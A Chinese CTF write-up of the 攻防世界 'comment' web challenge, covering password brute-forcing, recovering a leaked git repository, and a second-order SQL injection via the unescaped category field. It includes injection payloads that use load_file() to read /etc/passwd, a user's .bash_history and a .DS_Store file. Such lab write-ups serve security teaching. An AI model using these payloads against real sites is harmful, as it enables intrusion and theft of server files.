攻防世界-WEB-comment

攻防世界-WEB-comment

攻防世界-WEB-***ment

没想到短短几天浏览就破千了,在这里向各位表示衷心的感谢

老样子,先做爆破

上githack

里面有一个write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case '***ment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

emmmm

不难看出,当mysql.php和login.php放一起时,存在sql注入的概率还是很大的

尝试

好的,失败

重新分析一下

尝试进行用户名和密码爆破

但是也毫无结果

我们试试他给的用户名

这里可以看出

用户名是zhangwei,密码是zhangwei***

也就是说,***可能需要我们进行爆破

试试

成功

接下来我们尝试注入

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

完全没有注入点啊。。。。。。。。

好好好

我们f12看看数据包有没有什么惊喜吧。。。。。

屁都没得。。。。。

自暴自弃的乱翻。。。。。。

我。。。。。

好好好,***mit丢失,那么我们需要做修复

修复方法

  1. 使用git reflog命令:git reflog命令可以显示仓库中的引用日志,包括被删除的提交

    # 查看引用日志
    git reflog
    # 恢复到指定提交
    git reset --hard <***mit>
    
  2. 使用git fsck命令:git fsck命令可以检查并修复对象数据库中的问题

    # 检查并修复对象数据库
    git fsck --full --no-dangling
    
  3. 使用其他Git工具或服务:比如git reflog和git reset命令来移动分支指针,或者使用Git服务提供商(如GitHub、GitLab等)的恢复功能。

在kali打开

然后做修复

接下来是被修复的php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){	//检查会话中的$_SESSION['login']变量是否等于字符串'yes'。如果不是,将用户重定向到"./login.php"页面,并终止脚本的执行。
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);//从$_POST变量中获取'category'、'title'和'content'的值,并使用addslashes()函数对它们进行转义,以防止SQL注入攻击。
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);//构建一个INSERT INTO语句,将转义后的值插入名为'board'的数据库表中
    header("Location: ./index.php");
    break;
case '***ment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){//以下是当行数>0时执行的操作
    $category = mysql_fetch_array($result)['category'];//从结果集中获取'category'字段的值,并将其存储在$category变量中。
    $content = addslashes($_POST['content']);
    $sql = "insert into ***ment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";//构建一个SELECT语句,从名为'board'的数据库表中检索'category'字段的值,其中'id'等于转义后的'bo_id'。
    $result = mysql_query($sql);
    }
    header("Location: ./***ment.php?id=$bo_id");//如果行数大于0,将用户重定向到"./***ment.php?id=$bo_id"页面。
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

好的,整理一下

‘write’操作将用户通过POST方法提交的数据插入到名为’board’的数据库表中,而’***ment’操作将用户通过POST方法提交的评论数据插入到名为’***ment’的数据库表中。如果GET参数不是’write’或’***ment’,则用户将被重定向到"./index.php"页面。

这里很有意思的一处就是

在write中,他对所有传入的值做了转义

而在***ment中并未对category做转义,我们完全可以利用这一点进行注入

首先,我们摸清楚原理

insert into board
            set category = '$category',
                title = '$title',
                content = '$content';

当传入的值存在‘ “ \ 以及NULL字符时,addslashes会在字符前加反斜杠。

所以在我们发帖的时候,并不能成功注入

而在***ment中,由于他并未对category使用这个函数,原因可能是在***ment.php中,我们并不能直接使用category。

我们看这一句

  $sql = "select category from board where id='$bo_id'";

在***ment中抓个包

所以sql就变成了

insert into ***ment
            set category = '123',
                title = '1',
                content = '1';
                bo_id = '1';

那么,当我们在发帖时这么构建

insert into board
            set category = '1',content=database()/*',
                title = '222',
                content = '231241243112234124123441423';

然后我们在***ment中这么输入

insert into ***ment
            set category = '1',content=database()/*',
                content = '*/#';
                bo_id = '1'";

那么sql会将category和content的内容看成’1’,content=database()/**/#

从而执行这条语句

ctf为数据库名称

接下来我们查看用户是什么

权限之高实属难得

我们可以查看一些比较敏感的目录,比如说/etc/passwd /etc/shadow等等等等

在这里的话查看shadow没什么意义,所以我们直接查看/etc/passwd

这里涉及内网渗透的知识

可以发现,除root外,只有www使用bash
bash是Unix以及类Unix的解释器,用于执行命令,编写shell脚本等等

也就是说,我们可以通过查看www的历史记录以获取一些关键信息,这里我们需要知道的是flag在哪里

一般来说,bash的历史记录保存在home/用户/.bash_history中

1',content=(select(load_file("/home/www/.bash_history"))),/*

这里删了 .DS_Store文件,那估摸这里面有玄机

我们去/tmp/html里面找找DS_Store

没读全啊。。。。。。可能是内容太多了

我们试试加密读取

111',content=(select hex((load_file(""/tmp/html/.DS_Store")))),/*

应该是flag了

读取

成功

感谢各位师傅们的支持,能够和师傅们共同成长是我的荣幸
求赞求关注
谢谢!!!

转载请说明出处内容投诉
CSS教程_站长资源网 » 攻防世界-WEB-comment

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买